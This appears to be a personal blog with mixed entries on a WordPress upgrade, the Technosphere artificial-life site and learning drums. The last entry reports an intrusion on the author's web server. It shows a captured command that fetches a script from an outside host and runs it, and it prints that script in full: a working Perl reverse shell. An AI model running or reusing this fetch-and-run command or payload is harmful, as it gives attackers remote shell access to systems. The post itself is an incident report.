Stormsail

As pointed out by one of the lab students at work Chris on his blog entry I apparently work on the side for Nintendo which made me laugh! I must admit is does look like me!

Upgraded to Wordpress 2.1 of which details can be found here. Always follow the instructions and ALWAYS TAKE A BACKUP.

If you are feeling bored and wanted to create a life somewhere then have a look at Technosphere. Looks like the original creators have brought it back to life again……..I wonder how long my new creature will last?

From the technosphere website:

TechnoSphere is a 3D model world inhabited by artificial lifeforms created by WWW users. There are thousands of creatures in the world all competing to survive. They eat, fight, mate and create offspring which evolve and adapt to their environment. When you make a creature it will email you to let you know what it has been getting up to in its world. Using the creature tools you can find out how your creature is surviving, what it is doing at any time, and where it is in the terrain.

Blimey, just got back from band practice with the new project and played drums for three hours. I’ve kinda always had an interest in playing the drums but never took it anywhere until now. Got a Yamaha DTExpress secondhand off John the old drummer from the last band and have been bashing away.

I’ve just recently upgraded the snare to a mesh type from the nice chaps at ADC drums who where very helpful. They even got the maker of the snare Colin Koby to phone me up as I had problems setting it up. Unfortunately the drum was faulty but they soon sorted that out in a couple of days….. thanks chaps.

Going back to this evening, drumming for 3 hours has taken it out of me but it’s good exercise. Just need to keep practicing and learning so I can get to a reasonably standard to gig with later in the year……

I noticed a www process spinning away on bean:

root@bean~$ptree 15591
405 /usr/local/apache2/bin/httpd -k start
438 /usr/local/apache2/bin/httpd -k start
15591 sh -c wget http://881107.com/ping.txt;mv ping.txt temp2006;perl temp2006 203.11
14402 perl temp2006 203.118.99.19 3303

and then after looking at the code

root@bean~$more ping.txt
#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname(‘tcp’));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, “>&SOCKET”);
open(STDOUT,”>&SOCKET”);
open(STDERR,”>&SOCKET”);
system(“id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i”);

noticed that it looked like a known hack attempt as documented here. So for the time being I’ve disabled web access until I can re-install a web zone.